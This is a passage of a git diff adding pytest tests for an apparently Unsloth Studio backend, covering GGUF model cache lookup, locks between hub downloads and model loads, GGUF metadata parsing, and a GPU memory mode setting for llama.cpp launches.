+            patch("shutil.disk_usage", lambda *_a, **_k: _types.SimpleNamespace(free = 10)),
+            patch.object(
+                backend,
+                "_find_smallest_fitting_variant",
+                lambda *_a, **_k: (fallback, 4, []),
+            ),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_gguf(hf_repo = REPO, hf_variant = VARIANT)
+
+        assert out == str(snap / fallback)
+
+    def test_companion_prefers_main_snapshot_sibling(self, hf_cache):
+        """A cached mmproj is reused from the main model's snapshot."""
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4, "mmproj-F16.gguf": 2})
+
+        def _fail_list(*_args, **_kwargs):
+            raise AssertionError("snapshot sibling must resolve without a repo listing")
+
+        with patch("huggingface_hub.list_repo_files", _fail_list):
+            out = backend._download_mmproj(hf_repo = REPO, near_path = str(snap / MAIN))
+
+        assert out == str(snap / "mmproj-F16.gguf")
+
+    def test_companion_finds_snapshot_through_hf_symlink(self, hf_cache):
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {})
+        blobs = snap.parent.parent / "blobs"
+        main_blob = blobs / "main"
+        mmproj_blob = blobs / "mmproj"
+        main_blob.write_bytes(b"main")
+        mmproj_blob.write_bytes(b"mmproj")
+        try:
+            (snap / MAIN).symlink_to(main_blob)
+            (snap / "mmproj-F16.gguf").symlink_to(mmproj_blob)
+        except OSError as exc:
+            pytest.skip(f"symlinks unavailable: {exc}")
+
+        with patch("huggingface_hub.list_repo_files", _fail_download):
+            out = backend._download_mmproj(hf_repo = REPO, near_path = str(snap / MAIN))
+
+        assert out == str(snap / "mmproj-F16.gguf")
+
+    def test_companion_does_not_download_during_hub_job(self, hf_cache):
+        backend = LlamaCppBackend()
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+        registry = _types.SimpleNamespace(active_job_refs = lambda _repo: [object()])
+
+        with (
+            patch("huggingface_hub.list_repo_files", _fail_download),
+            patch("hub.utils.download_registry.get_models_registry", lambda: registry),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", _fail_download),
+        ):
+            out = backend._download_mmproj(hf_repo = REPO, near_path = str(snap / MAIN))
+
+        assert out is None
+
+
+class TestCachedGgufForLoadProbe:
+    def test_complete_copy_found(self, hf_cache):
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+        assert cached_gguf_for_load(REPO, VARIANT) == str(snap / MAIN)
+
+    def test_absent_copy_is_none(self, hf_cache):
+        assert cached_gguf_for_load(REPO, VARIANT) is None
+
+    def test_partial_split_is_none(self, hf_cache):
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        _build_cache(hf_cache, REPO, {shard1: 4})
+        assert cached_gguf_for_load(REPO, VARIANT) is None
+
+    def test_partial_new_snapshot_does_not_hide_complete_split(self, hf_cache):
+        import os
+
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00002.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00002.gguf"
+        old = _build_cache(
+            hf_cache,
+            REPO,
+            {shard1: 4, shard2: 4},
+            snapshot_sha = "a" * 40,
+        )
+        new = _build_cache(hf_cache, REPO, {shard1: 4}, snapshot_sha = "b" * 40)
+        os.utime(old, (1_000_000, 1_000_000))
+        os.utime(new, (2_000_000, 2_000_000))
+
+        assert cached_gguf_for_load(REPO, VARIANT) == str(old / shard1)
+
+    def test_split_requires_every_declared_shard(self, hf_cache):
+        shard1 = f"gemma-test-{VARIANT}-00001-of-00003.gguf"
+        shard2 = f"gemma-test-{VARIANT}-00002-of-00003.gguf"
+        _build_cache(hf_cache, REPO, {shard1: 4, shard2: 4})
+
+        assert cached_gguf_for_load(REPO, VARIANT) is None
+
+    def test_required_mmproj_must_share_main_snapshot(self, hf_cache):
+        snap = _build_cache(hf_cache, REPO, {MAIN: 4})
+        assert cached_gguf_for_load(REPO, VARIANT) == str(snap / MAIN)
+        assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) is None
+
+        (snap / "mmproj-F16.gguf").write_bytes(b"mmproj")
+        assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) == str(snap / MAIN)
+
+    def test_required_mmproj_scans_past_newer_main_only_snapshot(self, hf_cache):
+        import os
+
+        old = _build_cache(
+            hf_cache,
+            REPO,
+            {MAIN: 4, "mmproj-F16.gguf": 2},
+            snapshot_sha = "a" * 40,
+        )
+        new = _build_cache(hf_cache, REPO, {MAIN: 4}, snapshot_sha = "b" * 40)
+        os.utime(old, (1_000_000, 1_000_000))
+        os.utime(new, (2_000_000, 2_000_000))
+
+        assert cached_gguf_for_load(REPO, VARIANT, require_mmproj = True) == str(old / MAIN)
+
+
+class TestLoadHubDownloadExclusion:
+    def test_in_flight_marker_counts_and_normalizes_case(self):
+        assert not hf_gguf_load_in_flight(REPO)
+        with gguf_load_in_flight(REPO):
+            assert hf_gguf_load_in_flight(REPO.upper())
+            with gguf_load_in_flight(REPO.lower()):
+                assert hf_gguf_load_in_flight(REPO)
+            assert hf_gguf_load_in_flight(REPO)
+        assert not hf_gguf_load_in_flight(REPO)
+
+    def test_marker_noops_for_local_loads(self):
+        with gguf_load_in_flight(None):
+            assert not hf_gguf_load_in_flight("")
+
+    def test_marker_cleared_on_exception(self):
+        with pytest.raises(RuntimeError):
+            with gguf_load_in_flight(REPO):
+                raise RuntimeError("boom")
+        assert not hf_gguf_load_in_flight(REPO)
+
+    def test_hub_download_refused_while_load_in_flight(self):
+        from fastapi import HTTPException
+
+        from hub.schemas.downloads import DownloadModelRequest
+        from hub.services.models import downloads as dl
+
+        body = DownloadModelRequest(repo_id = REPO, gguf_variant = VARIANT)
+        with (
+            patch.object(dl, "resolve_cached_repo_id_case", lambda repo_id, repo_type: repo_id),
+            gguf_load_in_flight(REPO),
+        ):
+            with pytest.raises(HTTPException) as exc_info:
+                asyncio.run(dl.download_model_response(body))
+
+        assert exc_info.value.status_code == 409
+        assert "load" in exc_info.value.detail.lower()
+
+    def test_hub_download_rechecks_marker_before_claim(self):
+        from fastapi import HTTPException
+
+        from hub.schemas.downloads import DownloadModelRequest
+        from hub.services.models import downloads as dl
+
+        scope = None
+
+        def mark_load(*_args, **_kwargs):
+            nonlocal scope
+            if scope is None:
+                scope = gguf_load_in_flight(REPO)
+                scope.__enter__()
+            return frozenset()
+
+        class _Registry:
+            def claim(self, *_args, admission_check, **_kwargs):
+                assert admission_check() is False
+                return False, "admission_blocked"
+
+            def current_generation(self, _key):
+                return 0
+
+        registry = _Registry()
+        body = DownloadModelRequest(repo_id = REPO, gguf_variant = VARIANT)
+        try:
+            with (
+                patch.object(dl, "resolve_cached_repo_id_case", lambda repo_id, repo_type: repo_id),
+                patch.object(dl.gguf_variants, "gguf_variant_blob_hashes", mark_load),
+                patch.object(dl, "_registry", registry),
+            ):
+                with pytest.raises(HTTPException) as exc_info:
+                    asyncio.run(dl.download_model_response(body))
+        finally:
+            if scope is not None:
+                scope.__exit__(None, None, None)
+
+        assert exc_info.value.status_code == 409
+
+    def test_registry_admission_check_prevents_claim(self):
+        from hub.utils.download_registry import DownloadRegistry, TRANSPORT_HTTP
+
+        registry = DownloadRegistry()
+        claimed, state = registry.claim(
+            f"{REPO}::{VARIANT}",
+            TRANSPORT_HTTP,
+            repo_type = "model",
+            repo_id = REPO,
+            variant = VARIANT,
+            admission_check = lambda: False,
+        )
+
+        assert claimed is False
+        assert state == "admission_blocked"
+        assert registry.active_jobs(REPO) == {}
+
+    def test_same_variant_job_stays_visible_during_retry_handoff(self):
+        from hub.utils.download_registry import DownloadRegistry, TRANSPORT_XET
+        from core.inference.llama_cpp import _hub_download_blocks_gguf_load
+
+        registry = DownloadRegistry()
+        key = f"{REPO}::{VARIANT}"
+        claimed, _ = registry.claim(
+            key,
+            TRANSPORT_XET,
+            repo_type = "model",
+            repo_id = REPO,
+            variant = VARIANT,
+        )
+        assert claimed is True
+        assert registry.has_active_variant(REPO, VARIANT.lower()) is True
+
+        registry.release_active_slot(key)
+
+        assert registry.active_jobs(REPO) == {}
+        assert registry.active_job_refs(REPO)
+        assert registry.has_active_variant(REPO, VARIANT) is True
+        with (
+            patch("hub.utils.download_registry.get_models_registry", lambda: registry),
+            patch(
+                "core.inference.llama_cpp.cached_gguf_for_load",
+                side_effect = AssertionError("same-variant jobs must block before cache reuse"),
+            ),
+        ):
+            assert _hub_download_blocks_gguf_load(REPO, VARIANT) is True
+
+        registry.set_job(key, "complete")
+        assert registry.has_active_variant(REPO, VARIANT) is False
+
+    def test_other_variant_job_still_allows_complete_cached_load(self):
+        from core.inference.llama_cpp import _hub_download_blocks_gguf_load
+        from hub.utils.download_registry import DownloadRegistry, TRANSPORT_HTTP
+
+        registry = DownloadRegistry()
+        registry.claim(
+            f"{REPO}::Q8_0",
+            TRANSPORT_HTTP,
+            repo_type = "model",
+            repo_id = REPO,
+            variant = "Q8_0",
+        )
+        with (
+            patch("hub.utils.download_registry.get_models_registry", lambda: registry),
+            patch(
+                "core.inference.llama_cpp.cached_gguf_for_load",
+                return_value = "/cached/model.gguf",
+            ) as cached_probe,
+        ):
+            assert _hub_download_blocks_gguf_load(REPO, VARIANT) is False
+
+        cached_probe.assert_called_once_with(
+            REPO,
+            VARIANT,
+            require_mmproj = False,
+            verify_sizes = True,
+            hf_token = None,
+        )
+
+    def test_cancelled_request_keeps_marker_until_load_thread_finishes(self):
+        from core.inference.llama_cpp import _with_gguf_load_marker
+
+        started = threading.Event()
+        release = threading.Event()
+        finished = threading.Event()
+
+        class FakeBackend:
+            @_with_gguf_load_marker
+            def load_model(self, *, hf_repo):
+                started.set()
+                release.wait(timeout = 2)
+                finished.set()
+                return True
+
+        async def scenario():
+            with patch(
+                "core.inference.llama_cpp._hub_download_blocks_gguf_load",
+                return_value = False,
+            ):
+                task = asyncio.create_task(
+                    asyncio.to_thread(FakeBackend().load_model, hf_repo = REPO)
+                )
+                assert await asyncio.to_thread(started.wait, 1)
+                task.cancel()
+                with pytest.raises(asyncio.CancelledError):
+                    await task
+                assert hf_gguf_load_in_flight(REPO)
+
+                release.set()
+                assert await asyncio.to_thread(finished.wait, 1)
+                for _ in range(100):
+                    if not hf_gguf_load_in_flight(REPO):
+                        break
+                    await asyncio.sleep(0.001)
+                assert not hf_gguf_load_in_flight(REPO)
+
+        asyncio.run(scenario())
+
+    def test_load_marker_precedes_hub_guard_and_unload(self):
+        source = (Path(__file__).resolve().parent.parent / "routes" / "inference.py").read_text()
+        gguf_branch = source[source.index("if config.is_gguf:") :]
+
+        # The gguf_load_in_flight marker must be entered before the hub-download
+        # guard and the unload so a concurrent load can't race the download
+        # manager. The llama_extra_args inheritance that used to sit between the
+        # marker and the guard now runs in _guard_chat_load_against_training, ahead
+        # of the GGUF branch, so it is no longer a landmark inside this slice.
+        assert (
+            gguf_branch.index("enter_context(gguf_load_in_flight")
+            < gguf_branch.index("_hub_download_blocks_gguf_load")
+            < gguf_branch.index("unsloth_backend.unload_model")
+        )
+        llama_source = (
+            Path(__file__).resolve().parent.parent / "core" / "inference" / "llama_cpp.py"
+        ).read_text()
+        assert "@_with_gguf_load_marker\n    def load_model(" in llama_source
diff --git a/studio/backend/tests/test_gguf_metadata.py b/studio/backend/tests/test_gguf_metadata.py
index a5be07f8e3..ec0330ce05 100644
--- a/studio/backend/tests/test_gguf_metadata.py
+++ b/studio/backend/tests/test_gguf_metadata.py
@@ -15,6 +15,7 @@ from utils.models.gguf_metadata import (
     pairing_score,
     read_gguf_context_length,
     read_gguf_general_metadata,
+    read_gguf_staged_dims,
     read_mmproj_audio_capability,
 )
 
@@ -153,6 +154,78 @@ def test_context_length_ignores_foreign_arch_key(tmp_path: Path):
     assert read_gguf_context_length(str(p)) is None
 
 
+# --- read_gguf_staged_dims (one pass: context + layer + moe counts) ----
+
+
+def test_staged_dims_none_for_missing_or_non_gguf(tmp_path: Path):
+    assert read_gguf_staged_dims(str(tmp_path / "nope.gguf")) is None
+    p = tmp_path / "garbage.gguf"
+    p.write_bytes(b"not a gguf at all")
+    assert read_gguf_staged_dims(str(p)) is None
+
+
+def test_staged_dims_moe_with_leading_dense(tmp_path: Path):
+    # GLM-4.7-Flash shape: context + total layers + MoE layers in one read.
+    p = _write_synthetic_gguf(
+        tmp_path / "glm.gguf",
+        {"general.architecture": "deepseek2"},
+        extra_uint32 = {
+            "deepseek2.context_length": 202752,
+            "deepseek2.block_count": 47,
+            "deepseek2.expert_count": 64,
+            "deepseek2.leading_dense_block_count": 1,
+        },
+    )
+    assert read_gguf_staged_dims(str(p)) == {
+        "context_length": 202752,
+        "layer_count": 47,
+        "moe_layer_count": 46,
+    }
+
+
+def test_staged_dims_dense_model(tmp_path: Path):
+    # Dense: layer_count present, moe_layer_count 0 (slider hidden).
+    p = _write_synthetic_gguf(
+        tmp_path / "dense.gguf",
+        {"general.architecture": "qwen3"},
+        extra_uint32 = {"qwen3.context_length": 40960, "qwen3.block_count": 36},
+    )
+    assert read_gguf_staged_dims(str(p)) == {
+        "context_length": 40960,
+        "layer_count": 36,
+        "moe_layer_count": 0,
+    }
+
+
+def test_staged_dims_all_moe_no_leading_dense(tmp_path: Path):
+    # Experts present, no leading_dense key -> every block is a MoE layer.
+    p = _write_synthetic_gguf(
+        tmp_path / "moe.gguf",
+        {"general.architecture": "qwen35moe"},
+        extra_uint32 = {"qwen35moe.block_count": 40, "qwen35moe.expert_count": 256},
+    )
+    assert read_gguf_staged_dims(str(p)) == {
+        "context_length": None,
+        "layer_count": 40,
+        "moe_layer_count": 40,
+    }
+
+
+def test_staged_dims_uint64_block_count(tmp_path: Path):
+    # block_count stored as uint64 (vtype 10) still parses; moe == block_count.
+    p = _write_synthetic_gguf(
+        tmp_path / "moe64.gguf",
+        {"general.architecture": "gpt-oss"},
+        extra_uint32 = {"gpt-oss.expert_count": 32},
+        extra_uint64 = {"gpt-oss.block_count": 24},
+    )
+    assert read_gguf_staged_dims(str(p)) == {
+        "context_length": None,
+        "layer_count": 24,
+        "moe_layer_count": 24,
+    }
+
+
 def test_context_length_read_from_uint64(tmp_path: Path):
     # Some models store context_length as a uint64 (vtype 10).
     p = _write_synthetic_gguf(
diff --git a/studio/backend/tests/test_gpu_memory_mode.py b/studio/backend/tests/test_gpu_memory_mode.py
new file mode 100644
index 0000000000..19ba9e3e05
--- /dev/null
+++ b/studio/backend/tests/test_gpu_memory_mode.py
@@ -0,0 +1,1070 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Backend contract for the GPU Memory mode dropdown.
+
+The dropdown threads a single ``gpu_memory_mode`` ("auto" | "manual") from the
+chat UI through the load request. "manual" lets the user own the offload: with
+``gpu_layers < 0`` (Auto, the default) it hands all memory management to
+llama.cpp's ``--fit on`` (no CUDA/HIP device masking, no context auto-reduce, no
+gpu-layer or tensor-split planning); with ``gpu_layers >= 0`` it pins the layers
+and MoE offload itself (``--fit off``). These tests pin:
+
+  * the pydantic request/response/status contract (snake_case key, default
+    "auto", unknown values rejected),
+  * the backend ``gpu_memory_mode`` property and its reset on unload,
+  * the ``_already_in_target_state`` reload-detection branch, and
+  * that the manual + Auto-layers branch in ``load_model`` empties the probed
+    GPU set and drops tensor parallelism so the selection below no-ops, while
+    the explicit-offload branch emits ``--gpu-layers`` / ``--fit off``.
+"""
+
+from __future__ import annotations
+
+import inspect
+import sys
+import types as _types
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Same external-dep stubs as the other llama_cpp unit tests so importing
+# the backend doesn't drag in structlog / httpx / loggers.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+_structlog_stub = _types.ModuleType("structlog")
+_structlog_stub.get_logger = lambda *a, **k: __import__("logging").getLogger("stub")
+sys.modules.setdefault("structlog", _structlog_stub)
+
+# httpx is a real, installed backend dependency: import it so the genuine module
+# is in sys.modules. A hand-rolled stub here is inevitably incomplete and, since
+# setdefault installs it before real httpx loads, would poison a combined pytest
+# run -- routes/inference references httpx.Response (and other attrs) at def time.
+import httpx  # noqa: F401
+
+from core.inference import llama_cpp as llama_cpp_module
+from core.inference.llama_cpp import LlamaCppBackend
+from models.inference import (
+    InferenceStatusResponse,
+    LoadRequest,
+    LoadResponse,
+)
+
+
+# ── Pydantic contract (snake_case key, default "auto") ───────────────
+
+
+def test_load_request_defaults_gpu_memory_mode_auto():
+    assert LoadRequest(model_path = "owner/repo").gpu_memory_mode == "auto"
+
+
+def test_load_request_round_trips_json_key():
+    req = LoadRequest.model_validate({"model_path": "owner/repo", "gpu_memory_mode": "manual"})
+    assert req.gpu_memory_mode == "manual"
+    assert req.model_dump()["gpu_memory_mode"] == "manual"
+
+
+def test_load_request_rejects_unknown_mode():
+    with pytest.raises(ValueError):
+        LoadRequest(model_path = "owner/repo", gpu_memory_mode = "bogus")
+
+
+@pytest.mark.parametrize("model_cls", [LoadResponse, InferenceStatusResponse])
+def test_response_models_emit_gpu_memory_mode(model_cls):
+    if model_cls is LoadResponse:
+        default = model_cls(
+            status = "loaded",
+            model = "owner/repo",
+            display_name = "repo",
+            inference = {},
+        )
+        manual = model_cls(
+            status = "loaded",
+            model = "owner/repo",
+            display_name = "repo",
+            inference = {},
+            gpu_memory_mode = "manual",
+        )
+    else:
+        default = model_cls()
+        manual = model_cls(gpu_memory_mode = "manual")
+    assert default.model_dump()["gpu_memory_mode"] == "auto"
+    assert manual.model_dump()["gpu_memory_mode"] == "manual"
+
+
+# ── Backend property + reset ─────────────────────────────────────────
+
+
+class _FakeProcess:
+    """Stand-in for subprocess.Popen so _kill_process is a no-op."""
+
+    def terminate(self):
+        pass
+
+    def wait(self, timeout = None):
+        return 0
+
+    def kill(self):
+        pass
+
+    def poll(self):
+        return 0
+
+
+def test_gpu_memory_mode_property_defaults_auto():
+    assert LlamaCppBackend().gpu_memory_mode == "auto"
+
+
+def test_gpu_memory_mode_property_reflects_field():
+    backend = LlamaCppBackend()
+    backend._gpu_memory_mode = "manual"
+    assert backend.gpu_memory_mode == "manual"
+
+
+def test_unload_resets_gpu_memory_mode():
+    backend = LlamaCppBackend()
+    backend._process = _FakeProcess()
+    backend._gpu_memory_mode = "manual"
+    backend.unload_model()
+    assert backend.gpu_memory_mode == "auto"
+
+
+# ── _already_in_target_state reload-detection branch ─────────────────
+
+
+def _loaded_backend(gpu_memory_mode: str) -> LlamaCppBackend:
+    backend = LlamaCppBackend()
+    backend._process = _FakeProcess()  # is_loaded only checks "is not None"
+    backend._healthy = True
+    backend._model_identifier = "owner/repo"
+    backend._hf_variant = "Q4_K_M"
+    backend._requested_n_ctx = 8192
+    backend._cache_type_kv = None
+    backend._requested_spec_mode = "auto"
+    backend._chat_template_override = None
+    backend._is_vision = False
+    backend._extra_args = None
+    backend._gguf_path = None
+    backend._gpu_memory_mode = gpu_memory_mode
+    return backend
+
+
+def _target_state(backend: LlamaCppBackend, gpu_memory_mode: str) -> bool:
+    return backend._already_in_target_state(
+        gguf_path = None,
+        model_identifier = "owner/repo",
+        hf_variant = "Q4_K_M",
+        n_ctx = 8192,
+        cache_type_kv = None,
+        speculative_type = "auto",
+        chat_template_override = None,
+        extra_args = None,
+        is_vision = False,
+        gpu_memory_mode = gpu_memory_mode,
+    )
+
+
+@pytest.mark.parametrize("mode", ["auto", "manual"])
+def test_already_in_target_state_matches_same_mode(mode):
+    assert _target_state(_loaded_backend(mode), mode) is True
+
+
+@pytest.mark.parametrize("loaded,requested", [("auto", "manual"), ("manual", "auto")])
+def test_already_in_target_state_reloads_on_mode_change(loaded, requested):
+    # Flipping the dropdown either direction must force a reload so the command
+    # is rebuilt with/without the Unsloth GPU masking.
+    assert _target_state(_loaded_backend(loaded), requested) is False
+
+
+def test_already_in_target_state_ignores_mode_for_diffusion():
+    # The diffusion runner is mode-agnostic (always "auto"), so a standing manual
+    # preference must not force a needless reload.
+    backend = _loaded_backend("auto")
+    backend._is_diffusion = True
+    assert _target_state(backend, "manual") is True
+
+
+# ── load_model: manual + Auto layers bypasses Unsloth GPU management ──
+
+
+def _load_model_source() -> str:
+    return inspect.getsource(llama_cpp_module.LlamaCppBackend.load_model)
+
+
+def test_auto_layers_branch_empties_gpus_and_drops_tensor_parallel():
+    # Emptying the probed set makes the selection / TP planning below no-op, so
+    # gpu_indices stays None and use_fit True (--fit on).
+    src = _load_model_source()
+    gate = src.find('if gpu_memory_mode == "manual" and gpu_layers < 0:')
+    assert gate != -1, "load_model must branch on manual + Auto layers (gpu_layers < 0)"
+    block = src[gate : gate + 1400]
+    assert "gpus = []" in block, "Auto-layers branch must empty the probed GPU set"
+    # --fit aborts under --split-mode tensor, so a raw-extras split-mode is stripped.
+    assert "strip_split_mode_only(extra_args)" in block
+    assert "requested_ctx if requested_ctx > 0 else 0" in block
+    # The branch sits before GPU selection assigns gpu_indices; --fit on is its emission.
+    assert gate < src.find("gpu_indices, use_fit = None, True")
+    assert 'cmd.extend(["--fit", "on"])' in src
+    # TP drops for this path, but at a guard BEFORE the quantized-KV cache-drop, so
+    # a requested quantized cache survives into the --fit load.
+    tp_drop = src.find('if tensor_parallel and gpu_memory_mode == "manual" and gpu_layers < 0:')
+    assert tp_drop != -1, "manual + Auto layers must drop tensor_parallel"
+    assert "tensor_parallel = False" in src[tp_drop : tp_drop + 400]
+    cache_drop = src.find("Tensor parallelism requires a non-quantized KV cache")
+    assert cache_drop != -1
+    assert (
+        tp_drop < cache_drop
+    ), "TP must drop before the cache-drop so a quantized KV survives --fit"
+
+
+def test_auto_layers_never_sends_ctx_size_zero():
+    # Sending "-c 0" sets fit_params_min_ctx = UINT32_MAX in llama.cpp, pinning
+    # the full native context and disabling --fit's reduction. So the base cmd
+    # must never carry -c, "-c 0" is emitted only outside the Auto-layers (--fit)
+    # case, and a positive context is passed through (which --fit optimizes
+    # layers around).
+    src = _load_model_source()
+    base_start = src.find("cmd = [")
+    base_end = src.find("\n                ]", base_start)
+    base_block = src[base_start:base_end]
+    assert '"-c"' not in base_block, "-c must be conditional, not in the base cmd list"
+    assert 'cmd.extend(["-c", str(effective_ctx)])' in src, "positive ctx must pass -c"
+    assert 'auto_fit = gpu_memory_mode == "manual" and gpu_layers < 0' in src
+    zero = src.find('cmd.extend(["-c", "0"])')
+    assert zero != -1, '"-c 0" emission must exist outside the Auto-layers case'
+    guard = src.rfind("elif not auto_fit:", 0, zero)
+    assert guard != -1 and zero - guard < 120, '"-c 0" must sit under the not-auto_fit guard'
+
+
+def test_manual_mode_clears_inherited_main_model_placement_env():
+    env = {name: "inherited" for name in LlamaCppBackend._MANUAL_PLACEMENT_ENV_VARS}
+    env["LLAMA_ARG_N_GPU_LAYERS_DRAFT"] = "7"
+    env["UNRELATED"] = "kept"
+
+    LlamaCppBackend._clear_manual_placement_env(env)
+
+    assert not (set(env) & set(LlamaCppBackend._MANUAL_PLACEMENT_ENV_VARS))
+    assert env["LLAMA_ARG_N_GPU_LAYERS_DRAFT"] == "7"
+    assert env["UNRELATED"] == "kept"
+
+
+def test_load_model_sanitizes_manual_env_after_building_child_env():
+    src = _load_model_source()
+    env_build = src.find("env = self._llama_server_env_for_binary(binary)")
+    env_clear = src.find("self._clear_manual_placement_env(env)", env_build)
+    launch = src.find("subprocess.Popen", env_build)
+    assert env_build != -1
+    assert env_build < env_clear < launch
+
+
+# ── Manual offload (--gpu-layers + --fit off + --n-cpu-moe) ───────────
+
+
+def test_load_request_accepts_manual():
+    req = LoadRequest(
+        model_path = "owner/repo",
+        gpu_memory_mode = "manual",
+        gpu_layers = 20,
+        n_cpu_moe = 8,
+        tensor_split = [2, 1],
+    )
+    assert req.gpu_memory_mode == "manual"
+    assert req.gpu_layers == 20
+    assert req.n_cpu_moe == 8
+    assert req.tensor_split == [2, 1]
+
+
+def test_load_request_manual_defaults():
+    req = LoadRequest(model_path = "owner/repo")
+    assert req.gpu_layers == -1
+    assert req.n_cpu_moe == 0
+    assert req.tensor_split is None
+
+
+@pytest.mark.parametrize("bad", [[0, 0], [-1, 2], [float("inf"), 1], [float("nan"), 1]])
+def test_load_request_rejects_degenerate_tensor_split(bad):
+    # A negative/non-finite/all-zero split is dropped at launch but compared raw
+    # in the reload dedupe, so it would reload forever -- reject it up front.
+    with pytest.raises(ValueError):
+        LoadRequest(model_path = "owner/repo", tensor_split = bad)
+
+
+@pytest.mark.parametrize("good", [[2, 1], [1, 1], [], None])
+def test_load_request_accepts_valid_tensor_split(good):
+    assert LoadRequest(model_path = "owner/repo", tensor_split = good).tensor_split == good
+
+
+def test_route_normalizes_explicit_extras_before_reload_dedupe():
+    route_src = (Path(_BACKEND_DIR) / "routes" / "inference.py").read_text(encoding = "utf-8")
+    load_impl = route_src[route_src.index("async def _load_model_impl") :]
+    strip = load_impl.index("_stripped_explicit = strip_shadowing_flags")
+    normalize = load_impl.index(
+        'request = request.model_copy(update = {"llama_extra_args": extra_llama_args})'
+    )
+    dedupe = load_impl.index("and _request_matches_loaded_settings(")
+    assert strip < normalize < dedupe
+
+
+@pytest.mark.parametrize("model_cls", [LoadResponse, InferenceStatusResponse])
+def test_response_models_emit_manual_fields(model_cls):
+    if model_cls is LoadResponse:
+        obj = model_cls(
+            status = "loaded",
+            model = "owner/repo",
+            display_name = "repo",
+            inference = {},
+            gpu_memory_mode = "manual",
+            gpu_layers = 20,
+            n_cpu_moe = 8,
+            tensor_split = [2, 1],
+            n_layers = 32,
+            n_moe_layers = 32,
+        )
+    else:
+        obj = model_cls(
+            gpu_memory_mode = "manual",
+            gpu_layers = 20,
+            n_cpu_moe = 8,
+            tensor_split = [2, 1],
+            n_layers = 32,
+            n_moe_layers = 32,
+        )
+    dumped = obj.model_dump()
+    assert dumped["gpu_memory_mode"] == "manual"
+    assert dumped["gpu_layers"] == 20
+    assert dumped["n_cpu_moe"] == 8
+    assert dumped["tensor_split"] == [2, 1]
+    assert dumped["n_layers"] == 32
+    assert dumped["n_moe_layers"] == 32
+
+
+def test_manual_properties_default_and_reflect_and_reset():
+    backend = LlamaCppBackend()
+    assert backend.gpu_layers == -1 and backend.n_cpu_moe == 0
+    assert backend.tensor_split is None
+    backend._gpu_layers = 20
+    backend._n_cpu_moe = 8
+    backend._tensor_split = [2, 1]
+    assert backend.gpu_layers == 20 and backend.n_cpu_moe == 8
+    assert backend.tensor_split == [2, 1]
+    backend._process = _FakeProcess()
+    backend.unload_model()
+    assert backend.gpu_layers == -1 and backend.n_cpu_moe == 0
+    assert backend.tensor_split is None
+
+
+def test_n_moe_layers_property():
+    # 0 for a dense model (hides the slider); block_count for all-MoE;
+    # block_count - leading_dense otherwise (GLM-4.7-Flash: 47 - 1 -> 46).
+    b = LlamaCppBackend()
+    b._n_layers = 36
+    b._n_experts = None
+    assert b.n_moe_layers == 0
+    b._n_experts = 128
+    b._leading_dense_block_count = None
+    assert b.n_moe_layers == 36
+    b._n_layers = 47
+    b._leading_dense_block_count = 1
+    assert b.n_moe_layers == 46
+
+
+def _target_state_manual(
+    backend,
+    *,
+    gpu_layers,
+    n_cpu_moe,
+    tensor_split = None,
+):
+    return backend._already_in_target_state(
+        gguf_path = None,
+        model_identifier = "owner/repo",
+        hf_variant = "Q4_K_M",
+        n_ctx = 8192,
+        cache_type_kv = None,
+        speculative_type = "auto",
+        chat_template_override = None,
+        extra_args = None,
+        is_vision = False,
+        gpu_memory_mode = "manual",
+        gpu_layers = gpu_layers,
+        n_cpu_moe = n_cpu_moe,
+        tensor_split = tensor_split,
+    )
+
+
+def test_manual_reloads_on_gpu_layers_or_n_cpu_moe_or_split_change():
+    backend = _loaded_backend("manual")
+    backend._gpu_layers = 20
+    backend._n_cpu_moe = 0
+    backend._tensor_split = None
+    # Same knobs -> no reload.
+    assert _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 0) is True
+    # Changed layer count -> reload.
+    assert _target_state_manual(backend, gpu_layers = 16, n_cpu_moe = 0) is False
+    # Changed MoE offload -> reload.
+    assert _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 8) is False
+    # Added a GPU split -> reload.
+    assert _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 0, tensor_split = [2, 1]) is False
+    # Same GPU split -> no reload.
+    backend._tensor_split = [2, 1]
+    assert _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 0, tensor_split = [2, 1]) is True
+
+
+def test_auto_layers_reload_tracks_only_gpu_layers():
+    # Under Auto (gpu_layers < 0) the MoE/split knobs don't apply, so a leftover
+    # request value must not reload -- only a gpu_layers change (Auto -> pinned) does.
+    backend = _loaded_backend("manual")
+    backend._gpu_layers = -1
+    backend._n_cpu_moe = 0
+    backend._tensor_split = None
+    # Same Auto, leftover MoE/split in the request -> still no reload.
+    assert _target_state_manual(backend, gpu_layers = -1, n_cpu_moe = 8, tensor_split = [2, 1]) is True
+    # Auto -> explicit offload reloads.
+    assert _target_state_manual(backend, gpu_layers = 20, n_cpu_moe = 0) is False
+
+
+def test_manual_offload_emits_gpu_layers_fit_off_and_n_cpu_moe():
+    src = _load_model_source()
+    gate = src.find('elif gpu_memory_mode == "manual":')
+    assert gate != -1, "load_model must have an explicit-offload manual branch"
+    block = src[gate : gate + 700]
+    # Empties the probed set (skips the planner) but keeps the user's TP choice
+    # (only the Auto-layers branch above drops TP).
+    assert "gpus = []" in block
+    assert "tensor_parallel = False" not in block
+    # The cmd emits the layer count with fit disabled, gated on gpu_layers >= 0.
